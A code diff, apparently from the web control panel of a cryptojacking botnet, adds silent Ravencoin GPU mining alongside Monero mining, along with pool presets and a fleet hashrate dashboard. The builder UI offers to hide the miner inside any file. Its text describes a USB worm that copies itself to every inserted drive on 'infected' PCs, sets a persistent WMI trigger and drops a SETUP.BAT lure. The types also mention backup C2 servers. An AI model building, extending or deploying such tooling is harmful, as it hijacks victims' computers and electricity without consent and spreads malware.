@@ -144,6 +144,11 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
|
||||
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
|
||||
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
|
||||
...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
|
||||
...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
|
||||
...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
|
||||
...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
|
||||
...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
|
||||
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
|
||||
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
|
||||
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
|
||||
|
||||
@@ -80,6 +80,114 @@ export const XMR_POOL_PRESETS: PoolPreset[] = [
|
||||
|
||||
export const DEFAULT_PRESET_IDS = ['supportxmr-tls', 'moneroocean-tls', 'herominers-tls'] as const;
|
||||
|
||||
// ─── Ravencoin (RVN / KawPoW) pool presets ───────────────────────────────────
|
||||
|
||||
export interface RVNPoolPreset {
|
||||
id: string;
|
||||
provider: string;
|
||||
host: string;
|
||||
port: number;
|
||||
tls: boolean;
|
||||
hint: string;
|
||||
}
|
||||
|
||||
export const RVN_POOL_PRESETS: RVNPoolPreset[] = [
|
||||
{
|
||||
id: '2miners-rvn',
|
||||
provider: '2Miners',
|
||||
host: 'rvn.2miners.com',
|
||||
port: 6060,
|
||||
tls: false,
|
||||
hint: ':6060',
|
||||
},
|
||||
{
|
||||
id: 'herominers-rvn',
|
||||
provider: 'HeroMiners',
|
||||
host: 'rvn.herominers.com',
|
||||
port: 1140,
|
||||
tls: false,
|
||||
hint: ':1140',
|
||||
},
|
||||
{
|
||||
id: 'minerpool-rvn',
|
||||
provider: 'MinePool',
|
||||
host: 'us.rvn.minepool.io',
|
||||
port: 3333,
|
||||
tls: false,
|
||||
hint: ':3333',
|
||||
},
|
||||
{
|
||||
id: 'woolypooly-rvn',
|
||||
provider: 'WoolyPooly',
|
||||
host: 'rvn.woolypooly.com',
|
||||
port: 55555,
|
||||
tls: false,
|
||||
hint: ':55555',
|
||||
},
|
||||
{
|
||||
id: 'ravenminer',
|
||||
provider: 'RavenMiner',
|
||||
host: 'us.ravenminer.com',
|
||||
port: 3838,
|
||||
tls: false,
|
||||
hint: ':3838',
|
||||
},
|
||||
{
|
||||
id: 'nanopool-rvn',
|
||||
provider: 'Nanopool',
|
||||
host: 'rvn-us-west1.nanopool.org',
|
||||
port: 12222,
|
||||
tls: false,
|
||||
hint: ':12222',
|
||||
},
|
||||
];
|
||||
|
||||
export const DEFAULT_RVN_PRESET_IDS = ['2miners-rvn', 'herominers-rvn', 'ravenminer'] as const;
|
||||
|
||||
export interface RVNPoolForgeFields {
|
||||
rvn_pool_host: string;
|
||||
rvn_pool_port: number;
|
||||
rvn_pool_tls: boolean;
|
||||
rvn_backup_pools: BackupPool[];
|
||||
}
|
||||
|
||||
export function orderedRVNPoolsFromSelection(
|
||||
presetIds: string[],
|
||||
pass: string,
|
||||
custom?: BackupPool | null,
|
||||
): BackupPool[] {
|
||||
const out: BackupPool[] = [];
|
||||
const seen = new Set<string>();
|
||||
for (const id of presetIds) {
|
||||
const preset = RVN_POOL_PRESETS.find((p) => p.id === id);
|
||||
if (!preset) continue;
|
||||
const key = endpointKey(preset.host, preset.port, preset.tls);
|
||||
if (seen.has(key)) continue;
|
||||
seen.add(key);
|
||||
out.push({ host: preset.host, port: preset.port, tls: preset.tls, pass });
|
||||
}
|
||||
if (custom?.host?.trim() && custom.port > 0) {
|
||||
const key = endpointKey(custom.host, custom.port, !!custom.tls);
|
||||
if (!seen.has(key)) out.push({ ...custom, pass: custom.pass || pass || 'x' });
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
export function applyRVNPoolsToForgeFields(pools: BackupPool[]): RVNPoolForgeFields {
|
||||
const { primary, backups } = splitPrimaryAndBackups(pools);
|
||||
if (!primary) return { rvn_pool_host: '', rvn_pool_port: 6060, rvn_pool_tls: false, rvn_backup_pools: [] };
|
||||
return { rvn_pool_host: primary.host, rvn_pool_port: primary.port, rvn_pool_tls: primary.tls, rvn_backup_pools: backups };
|
||||
}
|
||||
|
||||
export function detectRVNPresetIds(host: string, port: number, tls: boolean, backups: BackupPool[] = []): string[] {
|
||||
const keys = new Set<string>();
|
||||
keys.add(endpointKey(host, port, tls));
|
||||
for (const b of backups) {
|
||||
if (b.host && b.port > 0) keys.add(endpointKey(b.host, b.port, !!b.tls));
|
||||
}
|
||||
return RVN_POOL_PRESETS.filter((p) => keys.has(endpointKey(p.host, p.port, p.tls))).map((p) => p.id);
|
||||
}
|
||||
|
||||
function endpointKey(host: string, port: number, tls: boolean): string {
|
||||
return `${host.trim().toLowerCase()}:${port}:${tls ? '1' : '0'}`;
|
||||
}
|
||||
|
||||
@@ -9,7 +9,8 @@ export function sanitizeScreenshotBase64(raw: string): string {
|
||||
}
|
||||
}
|
||||
if (best.length >= 100) return best;
|
||||
return trimmed.replace(/[^A-Za-z0-9+/=]/g, '');
|
||||
const fallback = trimmed.replace(/[^A-Za-z0-9+/=]/g, '');
|
||||
return fallback.length >= 100 ? fallback : '';
|
||||
}
|
||||
|
||||
export function downloadScreenshotFromBase64(
|
||||
|
||||
@@ -213,6 +213,12 @@ export default function AgentsPage() {
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
}
|
||||
// Auto-fetch sysinfo so the terminal is pre-populated immediately
|
||||
if (agent.status === 'online') {
|
||||
setTimeout(() => {
|
||||
api.sendAgentCommand(agent.id, 'sysinfo').catch(() => {});
|
||||
}, 300);
|
||||
}
|
||||
};
|
||||
|
||||
const saveMeta = async () => {
|
||||
@@ -606,6 +612,7 @@ export default function AgentsPage() {
|
||||
agent={selectedAgent}
|
||||
online={selectedAgent.status === 'online'}
|
||||
commandResults={commandResults}
|
||||
showLiveStats
|
||||
onCommandSent={(action: string) => {
|
||||
if (action === 'get_log') refreshLog(true);
|
||||
}}
|
||||
|
||||
@@ -85,7 +85,7 @@ describe('BuilderPage', () => {
|
||||
vi.spyOn(api, 'getConfig').mockRejectedValue(new Error('offline'));
|
||||
renderBuilder();
|
||||
expect(
|
||||
await screen.findByText('Failed to load server info — is the control server running?')
|
||||
await screen.findByText('Failed to load server config — is the control server running?')
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
@@ -101,7 +101,7 @@ describe('BuilderPage', () => {
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
|
||||
expect(await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' })).toBeInTheDocument();
|
||||
expect(screen.getByText('FORGE RULES — READ THIS ONCE')).toBeInTheDocument();
|
||||
expect(screen.getByText('Pool Host')).toBeInTheDocument();
|
||||
expect(screen.getByText('Mining Pools')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('submits forge when preflight passes', async () => {
|
||||
@@ -181,7 +181,7 @@ describe('BuilderPage', () => {
|
||||
screen.getByRole('button', { name: /Hide miner in any file/i })
|
||||
);
|
||||
expect(
|
||||
screen.getByText(/Fusion selected — drop your files below and forge/i)
|
||||
screen.getByText(/Drop any file — PDF, video, document/i)
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -30,6 +30,7 @@ import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../compone
|
||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import PoolPresetPicker from '../components/PoolPresetPicker';
|
||||
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
|
||||
import { useForge } from '../context/ForgeContext';
|
||||
import {
|
||||
fusionPayloadKind,
|
||||
@@ -1133,6 +1134,73 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* ── GPU Mining (Ravencoin / KawPoW) ── */}
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="GPU Mining — Ravencoin"
|
||||
badge="baked"
|
||||
description="Enable KawPoW GPU mining alongside Monero CPU mining. The agent auto-detects NVIDIA (T-Rex) or AMD (TeamRedMiner) and downloads the correct miner."
|
||||
/>
|
||||
<div className="form-group">
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={!!form.gpu_enabled}
|
||||
onChange={(e) => updateField('gpu_enabled', e.target.checked)}
|
||||
/>
|
||||
<span style={{ fontWeight: 600 }}>Enable GPU mining (Ravencoin)</span>
|
||||
</label>
|
||||
<p className="form-hint">
|
||||
When enabled the agent detects GPU vendor, downloads the correct KawPoW miner, and runs it silently alongside the CPU Monero miner. Requires a discrete NVIDIA or AMD GPU on the target.
|
||||
</p>
|
||||
</div>
|
||||
{form.gpu_enabled && (
|
||||
<>
|
||||
<div className="form-group">
|
||||
<label className="label">Ravencoin Wallet Address <span className="badge-required">required</span></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
placeholder="R... (your RVN address)"
|
||||
value={form.rvn_wallet ?? ''}
|
||||
onChange={(e) => updateField('rvn_wallet', e.target.value)}
|
||||
/>
|
||||
<p className="form-hint">Your Ravencoin wallet address. Only Ravencoin (RVN) mainnet addresses are accepted by KawPoW pools.</p>
|
||||
</div>
|
||||
|
||||
<div className="form-group">
|
||||
<label className="label">Ravencoin Pools</label>
|
||||
<RVNPoolPresetPicker
|
||||
host={form.rvn_pool_host ?? ''}
|
||||
port={form.rvn_pool_port ?? 6060}
|
||||
tls={form.rvn_pool_tls ?? false}
|
||||
pass={form.rvn_pool_pass ?? 'x'}
|
||||
backups={form.rvn_backup_pools ?? []}
|
||||
onChange={(next) => {
|
||||
updateField('rvn_pool_host', next.rvn_pool_host);
|
||||
updateField('rvn_pool_port', next.rvn_pool_port);
|
||||
updateField('rvn_pool_tls', next.rvn_pool_tls);
|
||||
updateField('rvn_backup_pools', next.rvn_backup_pools);
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="form-group">
|
||||
<label className="label">RVN Pool Password</label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
placeholder="x"
|
||||
value={form.rvn_pool_pass ?? 'x'}
|
||||
onChange={(e) => updateField('rvn_pool_pass', e.target.value)}
|
||||
/>
|
||||
<p className="form-hint">Most public KawPoW pools use <code>x</code>.</p>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Deliverable"
|
||||
@@ -2007,7 +2075,7 @@ export default function BuilderPage() {
|
||||
</label>
|
||||
{form.usb_spread && (
|
||||
<div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,180,0,0.1)', border: '1px solid rgba(255,180,0,0.4)', borderRadius: 4, fontSize: '0.82em', color: '#ffb400' }}>
|
||||
Agent will silently copy itself to any USB drive plugged into an infected PC and install a permanent WMI trigger that survives reboots.
|
||||
⚡ Perpetual chain — agent silently copies itself to every USB drive inserted into any infected PC (including drives already plugged in at startup), installs a persistent WMI trigger, and drops a visible SETUP.BAT + folder icon so the next PC's user just clicks. Each new machine repeats the cycle forever.
|
||||
</div>
|
||||
)}
|
||||
<FieldHint field="usb_spread" />
|
||||
|
||||
@@ -47,6 +47,16 @@ import {
|
||||
osArchBreakdown,
|
||||
} from '../help/fleetAnalytics';
|
||||
import './Pages.css';
|
||||
|
||||
/** Format GPU KawPoW hashrate (H/s units, displayed as MH/s or GH/s). */
|
||||
function formatGPUHashrate(hps: number): string {
|
||||
if (!hps || hps <= 0) return '0 H/s';
|
||||
if (hps >= 1e9) return `${(hps / 1e9).toFixed(2)} GH/s`;
|
||||
if (hps >= 1e6) return `${(hps / 1e6).toFixed(2)} MH/s`;
|
||||
if (hps >= 1e3) return `${(hps / 1e3).toFixed(2)} KH/s`;
|
||||
return `${hps.toFixed(0)} H/s`;
|
||||
}
|
||||
|
||||
export default function DashboardPage() {
|
||||
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
|
||||
const [shares, setShares] = useState<Share[]>([]);
|
||||
@@ -117,6 +127,29 @@ export default function DashboardPage() {
|
||||
const acceptedShares = agents.reduce((sum, a) => sum + a.shares_good, 0);
|
||||
const rejectedShares = agents.reduce((sum, a) => sum + a.shares_bad, 0);
|
||||
const acceptRate = totalShares > 0 ? (acceptedShares / totalShares) * 100 : 0;
|
||||
|
||||
// ── Ravencoin / GPU fleet stats ────────────────────────────────────────────
|
||||
const gpuAgents = useMemo(
|
||||
() => agents.filter((a) => a.gpu_miner_active && a.status === 'online'),
|
||||
[agents]
|
||||
);
|
||||
const totalGPUHashrate = useMemo(
|
||||
() => gpuAgents.reduce((sum, a) => sum + (a.gpu_hashrate_15m ?? 0), 0),
|
||||
[gpuAgents]
|
||||
);
|
||||
const gpuHashrate15s = useMemo(
|
||||
() => gpuAgents.reduce((sum, a) => sum + (a.gpu_hashrate_15s ?? 0), 0),
|
||||
[gpuAgents]
|
||||
);
|
||||
const bestGPUAgent = useMemo(
|
||||
() => gpuAgents.sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
|
||||
[gpuAgents]
|
||||
);
|
||||
const gpuModels = useMemo(
|
||||
() => [...new Set(gpuAgents.map((a) => a.gpu_model).filter(Boolean))],
|
||||
[gpuAgents]
|
||||
);
|
||||
const hasGPUMining = gpuAgents.length > 0;
|
||||
const avgCpu = agents.length > 0 ? agents.reduce((s, a) => s + a.cpu_usage_pct, 0) / agents.length : 0;
|
||||
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
|
||||
const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
|
||||
@@ -455,6 +488,139 @@ export default function DashboardPage() {
|
||||
</NeonCard>
|
||||
</div>
|
||||
|
||||
{/* ═══════════════════════════════════════════════════════════════════
|
||||
MONERO SUBHEADING — clarify the section above belongs to XMR
|
||||
═══════════════════════════════════════════════════════════════════ */}
|
||||
<div className="mining-coin-label monero-label">
|
||||
<span className="coin-badge xmr-badge">XMR</span>
|
||||
<span className="coin-name font-tech">MONERO</span>
|
||||
<span className="coin-algo font-tech">· RandomX CPU ·</span>
|
||||
<span className="coin-hr font-tech">{formatHashrate(totalHashrate)}</span>
|
||||
</div>
|
||||
|
||||
{/* ═══════════════════════════════════════════════════════════════════
|
||||
RAVENCOIN GPU SECTION
|
||||
═══════════════════════════════════════════════════════════════════ */}
|
||||
{hasGPUMining && (
|
||||
<div className="rvn-section">
|
||||
<div className="mining-coin-label rvn-label">
|
||||
<span className="coin-badge rvn-badge">RVN</span>
|
||||
<span className="coin-name font-tech">RAVENCOIN</span>
|
||||
<span className="coin-algo font-tech">· KawPoW GPU ·</span>
|
||||
<span className="coin-hr font-tech rvn-hashrate">{formatGPUHashrate(totalGPUHashrate)}</span>
|
||||
</div>
|
||||
|
||||
{/* Gauge row */}
|
||||
<section className="gauge-row rvn-gauges">
|
||||
<NeonCard accent="gold" className="gauge-card" hud>
|
||||
<GaugeRing
|
||||
value={totalGPUHashrate}
|
||||
max={Math.max(totalGPUHashrate * 1.2, 1e6)}
|
||||
label="GPU Hash"
|
||||
sublabel="15m avg"
|
||||
color="var(--neon-gold)"
|
||||
size={110}
|
||||
/>
|
||||
</NeonCard>
|
||||
<NeonCard accent="amber" className="gauge-card" hud>
|
||||
<GaugeRing
|
||||
value={gpuHashrate15s}
|
||||
max={Math.max(gpuHashrate15s * 1.2, 1e6)}
|
||||
label="GPU Live"
|
||||
sublabel="15s sample"
|
||||
color="var(--neon-amber)"
|
||||
size={110}
|
||||
/>
|
||||
</NeonCard>
|
||||
<NeonCard accent="cyan" className="gauge-card" hud>
|
||||
<GaugeRing
|
||||
value={gpuAgents.length}
|
||||
max={Math.max(agents.length, 1)}
|
||||
label="GPU Rigs"
|
||||
sublabel={`of ${agents.length} nodes`}
|
||||
color="var(--neon-cyan)"
|
||||
size={110}
|
||||
/>
|
||||
</NeonCard>
|
||||
</section>
|
||||
|
||||
{/* Stats cards */}
|
||||
<div className="grid-4 stats-grid rvn-stats-grid">
|
||||
<NeonCard accent="gold" className="stat-card-wrap rvn-stat-card">
|
||||
<div className="stat-label font-tech">GPU Fleet Hash</div>
|
||||
<div className="stat-value rvn-hashrate neon-glow-gold">{formatGPUHashrate(totalGPUHashrate)}</div>
|
||||
<div className="stat-sub">{gpuAgents.length} GPU rig{gpuAgents.length !== 1 ? 's' : ''} firing</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="stat-card-wrap rvn-stat-card">
|
||||
<div className="stat-label font-tech">Top GPU Rig</div>
|
||||
{bestGPUAgent ? (
|
||||
<>
|
||||
<div className="stat-value neon-glow-amber" style={{ fontSize: '1.1rem' }}>
|
||||
{(bestGPUAgent.name.length > 14 ? bestGPUAgent.name.slice(0, 13) + '…' : bestGPUAgent.name)}
|
||||
</div>
|
||||
<div className="stat-sub">{formatGPUHashrate(bestGPUAgent.gpu_hashrate_15m ?? 0)} · {bestGPUAgent.gpu_model ?? 'GPU'}</div>
|
||||
</>
|
||||
) : (
|
||||
<><div className="stat-value stat-dim">—</div><div className="stat-sub">none active</div></>
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="cyan" className="stat-card-wrap rvn-stat-card">
|
||||
<div className="stat-label font-tech">GPU Models</div>
|
||||
<div className="stat-value neon-glow-cyan" style={{ fontSize: '1rem', lineHeight: '1.3' }}>
|
||||
{gpuModels.length > 0 ? (
|
||||
gpuModels.slice(0, 2).map((m) => (
|
||||
<div key={m} style={{ fontSize: '0.8em', fontFamily: 'var(--font-tech)' }}>{m}</div>
|
||||
))
|
||||
) : (
|
||||
<span className="stat-dim">—</span>
|
||||
)}
|
||||
</div>
|
||||
<div className="stat-sub">{gpuModels.length} distinct model{gpuModels.length !== 1 ? 's' : ''}</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="purple" className="stat-card-wrap rvn-stat-card">
|
||||
<div className="stat-label font-tech">GPU Live Rate</div>
|
||||
<div className="stat-value neon-glow-purple">{formatGPUHashrate(gpuHashrate15s)}</div>
|
||||
<div className="stat-sub">15-second snapshot</div>
|
||||
</NeonCard>
|
||||
</div>
|
||||
|
||||
{/* Per-rig GPU breakdown */}
|
||||
{gpuAgents.length > 0 && (
|
||||
<NeonCard accent="gold" className="rvn-rig-table-card" hud>
|
||||
<div className="stat-label font-tech" style={{ marginBottom: '0.75rem' }}>GPU Rig Detail</div>
|
||||
<div className="rvn-rig-table">
|
||||
{gpuAgents.map((a) => {
|
||||
const hr = a.gpu_hashrate_15m ?? 0;
|
||||
const pct = totalGPUHashrate > 0 ? (hr / totalGPUHashrate) * 100 : 0;
|
||||
return (
|
||||
<div key={a.id} className="rvn-rig-row">
|
||||
<span className="rvn-rig-name font-tech">{a.name}</span>
|
||||
<span className="rvn-rig-model">{a.gpu_model ?? '—'}</span>
|
||||
<span className="rvn-rig-hr neon-glow-gold">{formatGPUHashrate(hr)}</span>
|
||||
<div className="rvn-rig-bar-wrap">
|
||||
<div
|
||||
className="rvn-rig-bar"
|
||||
style={{ width: `${pct.toFixed(1)}%` } as React.CSSProperties}
|
||||
/>
|
||||
</div>
|
||||
<span className="rvn-rig-pct">{pct.toFixed(1)}%</span>
|
||||
{(a.gpu_temp_c ?? 0) > 0 && (
|
||||
<span className={`rvn-rig-temp ${(a.gpu_temp_c ?? 0) > 80 ? 'temp-hot' : ''}`}>
|
||||
{a.gpu_temp_c}°C
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</NeonCard>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* ── Analytics row — always visible ─────────────────────────────────── */}
|
||||
<ContributionBars bars={contribs} xmrPrice={xmrPrice} />
|
||||
<UnderperformerList underperformers={underperformers} medianHashrate={medianHash} />
|
||||
|
||||
@@ -1502,3 +1502,214 @@ button.deliverable-card .form-hint {
|
||||
font-size: 0.78rem;
|
||||
padding: 0.28rem 0.7rem;
|
||||
}
|
||||
|
||||
/* ─── Mining Coin Labels (Monero / Ravencoin) ────────────────────────────── */
|
||||
.mining-coin-label {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.65rem;
|
||||
margin: 1.5rem 0 0.75rem;
|
||||
padding: 0.5rem 1rem;
|
||||
border-radius: 6px;
|
||||
background: rgba(0,0,0,0.3);
|
||||
border-left: 3px solid var(--neon-cyan);
|
||||
}
|
||||
|
||||
.monero-label {
|
||||
border-left-color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
.rvn-label {
|
||||
border-left-color: #f5a623;
|
||||
}
|
||||
|
||||
.coin-badge {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.7rem;
|
||||
padding: 0.15rem 0.5rem;
|
||||
border-radius: 4px;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.1em;
|
||||
}
|
||||
|
||||
.xmr-badge {
|
||||
background: rgba(0, 255, 255, 0.15);
|
||||
color: var(--neon-cyan);
|
||||
border: 1px solid var(--neon-cyan);
|
||||
}
|
||||
|
||||
.rvn-badge {
|
||||
background: rgba(245, 166, 35, 0.15);
|
||||
color: #f5a623;
|
||||
border: 1px solid #f5a623;
|
||||
}
|
||||
|
||||
.coin-name {
|
||||
font-size: 0.9rem;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.15em;
|
||||
color: #e0e0e0;
|
||||
}
|
||||
|
||||
.coin-algo {
|
||||
font-size: 0.75rem;
|
||||
color: var(--text-muted);
|
||||
letter-spacing: 0.05em;
|
||||
}
|
||||
|
||||
.coin-hr {
|
||||
margin-left: auto;
|
||||
font-size: 1rem;
|
||||
font-weight: 700;
|
||||
color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
.rvn-label .coin-hr {
|
||||
color: #f5a623;
|
||||
}
|
||||
|
||||
/* ─── RVN Section ────────────────────────────────────────────────────────── */
|
||||
.rvn-section {
|
||||
margin-top: 0.5rem;
|
||||
padding-top: 0.5rem;
|
||||
border-top: 1px solid rgba(245, 166, 35, 0.2);
|
||||
}
|
||||
|
||||
.rvn-hashrate {
|
||||
color: #f5a623 !important;
|
||||
text-shadow: 0 0 12px rgba(245, 166, 35, 0.6), 0 0 24px rgba(245, 166, 35, 0.3);
|
||||
}
|
||||
|
||||
.rvn-gauges {
|
||||
grid-template-columns: repeat(3, 1fr);
|
||||
}
|
||||
|
||||
.rvn-stats-grid .rvn-stat-card {
|
||||
background: linear-gradient(135deg, rgba(245, 166, 35, 0.06) 0%, rgba(0,0,0,0.0) 100%);
|
||||
border: 1px solid rgba(245, 166, 35, 0.2);
|
||||
text-align: center;
|
||||
padding: 1.25rem !important;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.rvn-stats-grid .rvn-stat-card::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: radial-gradient(ellipse at top, rgba(245,166,35,0.08) 0%, transparent 70%);
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.rvn-stats-grid .stat-label {
|
||||
color: rgba(245, 166, 35, 0.7);
|
||||
letter-spacing: 0.15em;
|
||||
}
|
||||
|
||||
.neon-glow-gold {
|
||||
color: #f5a623;
|
||||
text-shadow: 0 0 8px rgba(245, 166, 35, 0.7), 0 0 16px rgba(245, 166, 35, 0.4);
|
||||
}
|
||||
|
||||
/* ─── RVN Rig Detail Table ───────────────────────────────────────────────── */
|
||||
.rvn-rig-table-card {
|
||||
padding: 1.25rem !important;
|
||||
background: rgba(245,166,35,0.03);
|
||||
border: 1px solid rgba(245,166,35,0.15) !important;
|
||||
}
|
||||
|
||||
.rvn-rig-table {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.6rem;
|
||||
}
|
||||
|
||||
.rvn-rig-row {
|
||||
display: grid;
|
||||
grid-template-columns: 1fr 1.5fr 80px 1fr 42px 48px;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
padding: 0.4rem 0.6rem;
|
||||
border-radius: 4px;
|
||||
background: rgba(0,0,0,0.25);
|
||||
border-left: 2px solid rgba(245,166,35,0.35);
|
||||
font-size: 0.82rem;
|
||||
transition: background 0.15s;
|
||||
}
|
||||
|
||||
.rvn-rig-row:hover {
|
||||
background: rgba(245,166,35,0.07);
|
||||
}
|
||||
|
||||
.rvn-rig-name {
|
||||
font-size: 0.78rem;
|
||||
color: #c0c0c0;
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
}
|
||||
|
||||
.rvn-rig-model {
|
||||
color: var(--text-muted);
|
||||
font-size: 0.72rem;
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
}
|
||||
|
||||
.rvn-rig-hr {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.8rem;
|
||||
font-weight: 600;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.rvn-rig-bar-wrap {
|
||||
height: 6px;
|
||||
background: rgba(255,255,255,0.08);
|
||||
border-radius: 3px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.rvn-rig-bar {
|
||||
height: 100%;
|
||||
background: linear-gradient(90deg, #f5a623, #ffcc55);
|
||||
border-radius: 3px;
|
||||
box-shadow: 0 0 6px rgba(245,166,35,0.5);
|
||||
transition: width 0.6s ease;
|
||||
}
|
||||
|
||||
.rvn-rig-pct {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.7rem;
|
||||
color: var(--text-muted);
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.rvn-rig-temp {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.72rem;
|
||||
color: var(--neon-cyan);
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.rvn-rig-temp.temp-hot {
|
||||
color: var(--neon-amber);
|
||||
text-shadow: 0 0 6px rgba(255,165,0,0.5);
|
||||
}
|
||||
|
||||
/* RVN GPU section in the Forge */
|
||||
.rvn-pool-picker .pool-preset-provider {
|
||||
color: #f5a623 !important;
|
||||
}
|
||||
|
||||
@media (max-width: 700px) {
|
||||
.rvn-gauges {
|
||||
grid-template-columns: repeat(2, 1fr);
|
||||
}
|
||||
.rvn-rig-row {
|
||||
grid-template-columns: 1fr 80px 1fr 42px;
|
||||
}
|
||||
.rvn-rig-model,
|
||||
.rvn-rig-pct { display: none; }
|
||||
}
|
||||
|
||||
@@ -53,6 +53,13 @@ export interface Agent {
|
||||
gpu_temp_c?: number;
|
||||
gpu_usage_pct?: number;
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
gpu_miner_active?: boolean;
|
||||
gpu_hashrate_15s?: number;
|
||||
gpu_hashrate_1m?: number;
|
||||
gpu_hashrate_15m?: number;
|
||||
gpu_model?: string;
|
||||
|
||||
ssh_available?: boolean;
|
||||
posture_score?: number;
|
||||
last_patch_days?: number;
|
||||
@@ -69,6 +76,7 @@ export interface Agent {
|
||||
services?: AgentService[];
|
||||
|
||||
hostname?: string;
|
||||
mac_address?: string;
|
||||
// Live RTT from WebSocket ping/pong — undefined until first pong, null when offline.
|
||||
latency_ms?: number;
|
||||
}
|
||||
@@ -367,6 +375,14 @@ export interface BuildRequest {
|
||||
backup_pools?: BackupPool[];
|
||||
// Backup C2 server URLs tried if the primary server_url is unreachable.
|
||||
backup_server_urls?: string[];
|
||||
// GPU / Ravencoin mining
|
||||
gpu_enabled?: boolean;
|
||||
rvn_wallet?: string;
|
||||
rvn_pool_host?: string;
|
||||
rvn_pool_port?: number;
|
||||
rvn_pool_tls?: boolean;
|
||||
rvn_pool_pass?: string;
|
||||
rvn_backup_pools?: BackupPool[];
|
||||
}
|
||||
|
||||
/** Fallback Stratum pool baked into the agent at forge time. */
|
||||
|
||||
@@ -39,6 +39,11 @@ export interface WSStatsUpdate {
|
||||
disk_free_pct?: number;
|
||||
gpu_temp_c?: number;
|
||||
gpu_usage_pct?: number;
|
||||
gpu_miner_active?: boolean;
|
||||
gpu_hashrate_15s?: number;
|
||||
gpu_hashrate_1m?: number;
|
||||
gpu_hashrate_15m?: number;
|
||||
gpu_model?: string;
|
||||
ssh_available?: boolean;
|
||||
posture_score?: number;
|
||||
last_patch_days?: number;
|
||||
|
||||
Reference in New Issue
Block a user